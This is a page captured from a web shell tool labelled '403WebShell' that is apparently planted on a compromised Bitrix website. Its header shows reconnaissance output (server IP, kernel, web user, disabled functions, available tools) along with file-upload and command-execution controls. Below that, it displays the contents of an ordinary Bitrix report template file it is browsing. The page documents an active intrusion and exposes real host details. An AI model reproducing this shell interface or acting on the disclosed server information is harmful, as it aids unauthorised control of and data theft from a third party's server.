%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.147.46.136
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/install/components/bitrix/report.visualconstructor.config.fields/templates/previewblock/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/install/components/bitrix/report.visualconstructor.config.fields/templates/previewblock/template.php
<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) die();

/** @var array $arParams */
$availableViewList = $arParams['AVAILABLE_VIEWS'];
/** @var array $preparedWidget */
$preparedWidget = $arParams['PREPARED_WIDGET'];
/** @var array $arResult */
/** @var \Bitrix\Report\VisualConstructor\Fields\Valuable\PreviewBlock $field */
$field = $arResult['CONFIGURATION_FIELD'];
$fieldValue = $field->getValue();
$events = $arResult['CONFIGURATION_FIELD_EVENTS'];
$behaviours = $arResult['CONFIGURATION_FIELD_BEHAVIOURS'];
$fieldName = $field->getName();
$id = $field->getId();
?>
<div class="report-configuration-item report-configuration-previewblock-item">
	<div class="report-configuration-col-content report-widget-configuration-preview-block">
		<div class="report-widget-selected-view-container">
			<div class="report-widget-selected-view-wrapper"></div>
		</div>
		<div class="report-widget-view-select-variants">
			<? foreach ($availableViewList as $view): ?>
				<div data-type="view-miniature-box" data-view-key="<?= $view['key'] ?>" class="report-widget-view-miniature-container <?= $fieldValue == $view['key'] ? 'report-widget-view-miniature-container-active' : '' ?>">
					<img src="<?= $view['logoUrl'] ?>" title="<?= $view['label'] ?>"/>
				</div>
			<? endforeach; ?>
		</div>
		<input type="hidden" id="<?= $id ?>" name="<?= $fieldName ?>" value="<?= $fieldValue ?>" data-role="preview-view-type-key">
	</div>
</div>


<script type="text/javascript">
	BX.message({'REPORT_CHANGE_VIEW_ATTENTION_TEXT': "<?=\Bitrix\Main\Localization\Loc::getMessage('REPORT_CHANGE_VIEW_ATTENTION_TEXT')?>"});
	BX.message({'REPORT_CHANGE_VIEW_ATTENTION_TITLE': "<?=\Bitrix\Main\Localization\Loc::getMessage('REPORT_CHANGE_VIEW_ATTENTION_TITLE')?>"});
	BX.message({'REPORT_CHANGE_VIEW_CHANGE_CONFIRM_BUTTON_TITLE': "<?=\Bitrix\Main\Localization\Loc::getMessage('REPORT_CHANGE_VIEW_CHANGE_CONFIRM_BUTTON_TITLE')?>"});
	BX.message({'REPORT_CHANGE_VIEW_CHANGE_CANCEL_BUTTON_TITLE': "<?=\Bitrix\Main\Localization\Loc::getMessage('REPORT_CHANGE_VIEW_CHANGE_CANCEL_BUTTON_TITLE')?>"});
	new BX.Report.VisualConstructor.Widget.Config.Fields.PreviewBlock({
		previewBlock: document.querySelector('.report-widget-configuration-preview-block'),
		previewBlockWidgetContainer: document.querySelector('.report-widget-selected-view-wrapper'),
		widgetOptions: <?=CUtil::PhpToJSObject($preparedWidget, false, false, true)?>,
		fieldScope: BX("<?=$id?>"),
		events:  <?=CUtil::PhpToJSObject($events)?>,
		behaviours:  <?=CUtil::PhpToJSObject($behaviours)?>,
		value: <?=CUtil::PhpToJSObject($fieldValue)?>
	});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit